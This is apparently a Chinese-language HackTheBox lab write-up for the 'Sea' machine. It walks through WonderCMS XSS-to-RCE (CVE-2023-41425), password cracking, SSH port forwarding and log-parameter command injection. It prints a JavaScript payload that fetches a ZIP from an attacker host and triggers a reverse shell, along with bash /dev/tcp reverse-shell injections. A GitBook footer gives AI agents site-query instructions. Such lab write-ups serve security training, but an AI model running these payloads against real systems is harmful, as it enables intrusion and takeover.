> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md). # Sea HackTheBox 复盘 Sea HackTheBox 简单 Linux 机器复盘，涵盖 Wonder CMS 利用、CSRF 漏洞、（XSS 到 RCE）、端口转发，并包含实用的枚举、利用、立足点和提权 {% embed url="" %} {% hint style="warning" %} **技能**: * Wonder CMS 利用 * CSRF 漏洞 * （XSS 到 RCE） * 端口转发 * （LFI - RCE）日志投毒漏洞 {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p80,22 10.10.11.28 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件。

**发现一个联系站点：**

**检查服务器与该站点之间的通信：**/ 我们发现网站中有一部分专门用于联系信息。我们检查服务器是否向这个站点发送 frames。

**我们的 Web 服务器上接收到一个 frame：**/ 为了捕获这个 frame，我们用 Python 搭建了一个简单的 HTTP 服务器： ```bash python3 -m http.server 555 ```

**使用** [Burp Suite ](/zh/hacking-tools/web/burpsuite.md)**:**/ 我们使用 Burp Suite 拦截请求以分析通信。 ## **可能的** [**SSRF**](/zh/web/ssrf.md)**:** #### 我们尝试通过修改查询参数，使用 SSRF 攻击列出内部服务： ```bash &website=http:127.0.0.1 ```

**使用 Intruder 发现内部端口：**/ 我们使用 Burp Suite Intruder 进行暴力破解攻击，以发现开放的内部端口。

**过滤响应：**/ 我们根据响应大小进行过滤，以确定哪些是相关的，但它们全都一样。

## WonderCMS 漏洞（[CSRF](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)）：（XSS 到 RCE） **目录搜索：**/ 我们使用 Gobuster 搜索网站目录： ```bash gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 这会返回给我们 **/themes** 目录，返回 301 重定向代码。

**探索 themes 目录：**/ 我们通过将发现的路径添加到 URL 来继续搜索，并探索 **/themes** 目录 ```bash gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 我们找到 **/bike** 子目录。

**按文件扩展名过滤：**/ 我们使用 *ffuf* 来过滤在 **/bike** 目录： ```bash ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403 ``` 此命令使我们能够找到一个名为 **README.md**

我们找到一个 `README.md` 的文件，它表明服务器使用了一个名为“WONDER”的主题，这是一个 CMS。

在搜索与该 CMS 相关的漏洞时，我们发现了一个可通过 XSS 注入实现远程代码执行（RCE）的缺陷。 {% embed url="" %} **获取 shell 的 JavaScript 代码：**/ 以下 JavaScript 代码会下载一个包含反向 shell 脚本的恶意 ZIP 文件，然后在服务器上执行它： ```javascript // 服务器在使用 JavaScript 解析域名时有些问题 // 我们可以直接按要求提供目标 URL 作为参数 var whateverURL = "http://sea.htb"; var token = document.querySelectorAll('[name="token"]')[0].value; // 修改在 HTTP 服务器上提供的 ZIP 文件路径 var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; // 访问上传的 ZIP 文件中的 rev.php xhr4.open("GET", whateverURL+"/themes/whatever/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "10.10.14.89"; var port = "4444"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; // 触发反向 shell 脚本并提供监听器的 IP 和端口 xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ``` **漏洞（CVE-2023-41425）利用脚本的安装：** ```bash git clone https://github.com/prodigiousMind/CVE-2023-41425 cd CVE-2023-41425 ``` 我们运行利用脚本： ```bash python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444 ``` 上面的脚本通过一个 `xss.js` 文件向我们在 8000 端口的服务器发送请求，使我们获得 RCE 访问并控制目标机器。

**最后一步：** 我们需要通过 `contact.php` 表单将 XSS 链接发送给管理员，以诱使他们点击恶意链接： {% code fullWidth="true" %} ``` http://sea.htb/index.php?page=loginURL?">

**使用 Netcat 监听：**/ 我们在 4444 端口监听： ```bash nc -nlvp 4444 ```

#### 一旦你获得 Linux 服务器的访问权限，使用以下命令来稳定终端 ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### 稳定 shell，以便更舒适地工作。 ## 权限提升：作为用户 *www-data*，我们将使用 `查找` 命令只搜索包含单词“**密码**”在 Web 服务器目录中的文件 `/var/www/sea`. ```bash find /var/www/sea -type f -exec grep -Hn "password" {} / ``` 我们在 `database.js` 文件： `中找到一个加密的密码`

为了破解这个密码，我们使用 **John the Ripper** 工具与 `rockyou.txt` 字典文件： ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

解密后的密码是 mychemicalromance 现在我们尝试使用系统中可用的两个用户连接：“geo”和“amays”。

用户 **amays** 的密码是正确的。 ### user.txt 标志

分析内部网络通信后，我们发现 8080 端口正在使用： ```bash netstat -ano netstat -nltp ```

因此，我们将通过 SSH 使用端口转发把服务器的 8080 端口重定向到我们的攻击机，从 8888 端口进行转发： ```bash ssh -L 8888:localhost:8080 amay@10.10.11.28 ``` 连接后，我们发现一个登录面板。

使用用户凭据 `amay`: `mychemicalromance`，我们成功连接到一个监控系统。

我们可以观察 `root`.

通过用 Burp Suite 拦截请求，我们注意到它以更结构化的方式显示了 `/var/log/apache2/access.log` 文件内容。

该文件只能由用户 `root`.

### 漏洞 [（LFI - RCE）日志投毒](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md): 如果我们尝试列出一个像 `/etc/passwd`，例如： ``` log_file=/etc/passwd &analyze_log=/etc/passwd ``` 这样的文件

然后我们尝试读取包含 `root` flag 的文件，并观察到可以执行命令（例如 `id`): ```bash log_file=/root/root.txt;id;----&analyze_log=/root/root.txt ```

### **完全访问权限（反向 shell）：** 为了获得反向 shell，我们执行以下命令： {% code fullWidth="false" %} ```bash bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261" ``` {% endcode %} {% code overflow="wrap" fullWidth="true" %} ``` log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt ``` {% endcode %} 然后，我们使用 `nc`: ```bash nc -nvlp 443 ``` ### root flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.